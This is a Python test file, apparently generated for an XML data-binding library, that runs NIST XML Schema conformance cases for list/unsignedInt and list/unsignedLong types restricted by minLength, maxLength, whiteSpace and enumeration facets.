def test_list_unsigned_int_min_length_nistxml_sv_iv_list_unsigned_int_min_length_1_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-1-4.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_min_length_nistxml_sv_iv_list_unsigned_int_min_length_1_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-minLength-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-minLength-1-5.xml",
class_name="NistschemaSvIvListUnsignedIntMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_4_nistxml_sv_iv_list_unsigned_int_max_length_5_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-5-1.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_4_nistxml_sv_iv_list_unsigned_int_max_length_5_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-5-2.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_4_nistxml_sv_iv_list_unsigned_int_max_length_5_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-5-3.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_4_nistxml_sv_iv_list_unsigned_int_max_length_5_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-5-4.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_4_nistxml_sv_iv_list_unsigned_int_max_length_5_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-5-5.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_3_nistxml_sv_iv_list_unsigned_int_max_length_4_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-4-1.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_3_nistxml_sv_iv_list_unsigned_int_max_length_4_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-4-2.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_3_nistxml_sv_iv_list_unsigned_int_max_length_4_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-4-3.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_3_nistxml_sv_iv_list_unsigned_int_max_length_4_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-4-4.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_3_nistxml_sv_iv_list_unsigned_int_max_length_4_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-4-5.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_2_nistxml_sv_iv_list_unsigned_int_max_length_3_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-3-1.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_2_nistxml_sv_iv_list_unsigned_int_max_length_3_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-3-2.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_2_nistxml_sv_iv_list_unsigned_int_max_length_3_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-3-3.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_2_nistxml_sv_iv_list_unsigned_int_max_length_3_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-3-4.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_2_nistxml_sv_iv_list_unsigned_int_max_length_3_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-3-5.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_1_nistxml_sv_iv_list_unsigned_int_max_length_2_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-2-1.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_1_nistxml_sv_iv_list_unsigned_int_max_length_2_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-2-2.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_1_nistxml_sv_iv_list_unsigned_int_max_length_2_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-2-3.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_1_nistxml_sv_iv_list_unsigned_int_max_length_2_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-2-4.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_1_nistxml_sv_iv_list_unsigned_int_max_length_2_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-2-5.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_nistxml_sv_iv_list_unsigned_int_max_length_1_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-1-1.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_nistxml_sv_iv_list_unsigned_int_max_length_1_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-1-2.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_nistxml_sv_iv_list_unsigned_int_max_length_1_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-1-3.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_nistxml_sv_iv_list_unsigned_int_max_length_1_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-1-4.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_max_length_nistxml_sv_iv_list_unsigned_int_max_length_1_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-maxLength-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-maxLength-1-5.xml",
class_name="NistschemaSvIvListUnsignedIntMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_white_space_nistxml_sv_iv_list_unsigned_long_white_space_1_1(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-whiteSpace-1.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-whiteSpace-1-1.xml",
class_name="NistschemaSvIvListUnsignedLongWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_white_space_nistxml_sv_iv_list_unsigned_long_white_space_1_2(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-whiteSpace-1.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-whiteSpace-1-2.xml",
class_name="NistschemaSvIvListUnsignedLongWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_white_space_nistxml_sv_iv_list_unsigned_long_white_space_1_3(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-whiteSpace-1.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-whiteSpace-1-3.xml",
class_name="NistschemaSvIvListUnsignedLongWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_white_space_nistxml_sv_iv_list_unsigned_long_white_space_1_4(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-whiteSpace-1.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-whiteSpace-1-4.xml",
class_name="NistschemaSvIvListUnsignedLongWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_white_space_nistxml_sv_iv_list_unsigned_long_white_space_1_5(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-whiteSpace-1.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-whiteSpace-1-5.xml",
class_name="NistschemaSvIvListUnsignedLongWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_4_nistxml_sv_iv_list_unsigned_long_enumeration_5_1(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-5.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-5-1.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_4_nistxml_sv_iv_list_unsigned_long_enumeration_5_2(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-5.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-5-2.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_4_nistxml_sv_iv_list_unsigned_long_enumeration_5_3(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-5.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-5-3.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_4_nistxml_sv_iv_list_unsigned_long_enumeration_5_4(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-5.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-5-4.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_4_nistxml_sv_iv_list_unsigned_long_enumeration_5_5(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-5.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-5-5.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_3_nistxml_sv_iv_list_unsigned_long_enumeration_4_1(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-4.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-4-1.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_3_nistxml_sv_iv_list_unsigned_long_enumeration_4_2(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-4.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-4-2.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_3_nistxml_sv_iv_list_unsigned_long_enumeration_4_3(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-4.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-4-3.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_3_nistxml_sv_iv_list_unsigned_long_enumeration_4_4(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-4.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-4-4.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_3_nistxml_sv_iv_list_unsigned_long_enumeration_4_5(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-4.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-4-5.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_2_nistxml_sv_iv_list_unsigned_long_enumeration_3_1(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-3.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-3-1.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_2_nistxml_sv_iv_list_unsigned_long_enumeration_3_2(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-3.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-3-2.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_2_nistxml_sv_iv_list_unsigned_long_enumeration_3_3(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-3.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-3-3.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_2_nistxml_sv_iv_list_unsigned_long_enumeration_3_4(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-3.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-3-4.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_2_nistxml_sv_iv_list_unsigned_long_enumeration_3_5(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-3.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-3-5.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_1_nistxml_sv_iv_list_unsigned_long_enumeration_2_1(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-2.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-2-1.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_1_nistxml_sv_iv_list_unsigned_long_enumeration_2_2(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-2.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-2-2.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_1_nistxml_sv_iv_list_unsigned_long_enumeration_2_3(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-2.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-2-3.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_1_nistxml_sv_iv_list_unsigned_long_enumeration_2_4(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-2.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-2-4.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_long_enumeration_1_nistxml_sv_iv_list_unsigned_long_enumeration_2_5(mode, save_output, output_format):
"""
Type list/unsignedLong is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedLong/Schema+Instance/NISTSchema-SV-IV-list-unsignedLong-enumeration-2.xsd",
instance="nistData/list/unsignedLong/Schema+Instance/NISTXML-SV-IV-list-unsignedLong-enumeration-2-5.xml",
class_name="NistschemaSvIvListUnsignedLongEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
